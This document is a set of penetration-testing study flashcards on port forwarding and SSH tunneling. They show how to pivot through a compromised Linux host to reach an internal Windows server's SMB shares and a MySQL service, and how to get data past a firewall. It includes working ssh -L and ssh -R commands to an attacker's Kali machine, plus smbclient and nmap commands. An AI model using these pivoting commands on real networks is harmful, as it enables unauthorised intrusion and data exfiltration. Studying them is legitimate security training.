Port Redirection and Tunneling Flashcards
What is Port Forwarding?
- the simplest traffic manipulation manipulation technique
- redirects traffic destined for one IP address and port to another IP address and port
If a target machine does not have Internet access, what must be done to exfiltrate data from that target machine?
- we must compromise another machine on the network with Internet access, and treat that machine as a go-between
- this requires the tedious process of moving data twice
What port forwarding tool is recommended?
- rinetd
What parameters are required in the /etc/rinetd.conf file?
- bindaddress = “listening” IP address
- bindport = “listening” port
- connectaddress = traffic’s destination address
- connectport = traffic’s destination port
SSH Local Port Forwarding
- allows us to tunnel a local port to a remote server using SSH as the transport protocol
Example of using SSH local port forwarding
- compromised Linux machine, which has port 22 open and no outbound traffic filtering
- there is another connected interface 192.168.1.x
- we identify a Windows Server 2016 machine that has network shares available
- ** We want to interact with the Server 2016 machine from our Kali attacking machine, pivoting through the compromised Linux client
- we want to forward port 445 on our Kali machine to port 445 on the Server 2016 machine
If a firewall is blocking port 445, how can we pivot off a compromised Linux client to a Server 2016 target on the same network from an attacking machine outside the network?
- local port forward by tunneling through an SSH session to our Linux target on port 22, which is allowed through the firewall
- the request will hit our Kali machine on port 445, will be forwarded across the SSH session, and will then be passed on to port 445 on the Windows Server 2016 target
Given the following, what command will connect port 445 on our Kali box to port 445 on the target Windows Server 2016 machine via SSH local port forward tunneling?
- Windows Server = 192.168.1.110
- Compromised Linux Client = 10.11.0.128
- Username = student
- kali@kali:~$ sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128
- ** -N = no commands are issued
- ** -L = sets up port forwarding
What change needs to be made to the smb.conf file in order to be able to connect to port 445 on the Windows Server 2016?
- Windows Server 2016 does not support SMBv1
- Therefore, the smb.conf file must be changed to so the minimum SMB protocol used is SMBv2
- kali@kali:~$ sudo vim /etc/samba/smb.conf
- ‘min protocol = SMB2’
- ** Be sure to restart the smbd server for the smb.conf change to take effect
- kali@kali:~$ sudo /etc/init.d/smbd restart
After executing SSH tunneling from our Kali machine to the Windows Server 2016 machine, how can we enumerate remote SMB shares on the Windows Server 2016 machine?
- kali@kali:~# smbclient -L 127.0.0.1 -U Administrator
- ** -L 127.0.0.1 = IP Address or NetBIOS name, in this case our local machine
- ** -U Administrator = the remote user name
How does SSH Remote Port Forwarding differ from SSH Local Port Forwarding?
- SSH Remote Port Forwarding is the opposite of Local
- a port is opened on the ‘remote’ side of the connection and traffic sent to that port is forwarded to a port on our local machine (the machine initiating the SSH client)
- ** Connections made to the specified TCP port on the remote host will be forwarded to the specified port on the local machine
Explain a scenario where we would want to use SSH Remote Port Forwarding
- We have access to a non-root shell on a Linux client on the internal network (same as before)
- On this compromised machine, we discover that a MySQL server is running on TCP port 3306
- The firewall is blocking ‘inbound’ TCP port 22, so we can’t SSH into this server from our Kali machine (unlike the previous example)
- *** However, we can SSH ‘outbound’ from the MySQL server to our Kali machine
- We can leverage SSH remote port forwarding (ssh -R) to open a port on our Kali machine that forwards traffic to the MySQL port (TCP 3306) on the internal server
- All forwarded traffic will traverse the SSH tunnel, right through the firewall
When can SSH port forwards be run as non-root users?
- when we only bind unused non-privileged local ports (above 1024)
What command will allow us to setup SSH Remote port forwarding from the compromise Linux machine to our Kali machine?
- Linux IP = 127.0.0.1 (local host)
- Kali = 10.11.0.4
How can we validate that the tunnel is up and that our Kali machine is connected through port 2221?
– student@debian:~$ ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4
kali@10.11.0.4’
————————————-
*** We can verify that the tunnel is up and validate that TCP port 2221 is listening on our Kali machine
– kali@kali:~$ ss -antp | grep “2221”
With the SSH Remote port forwarding setup, how can we scan the local host for the MySQL service?
– kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 2221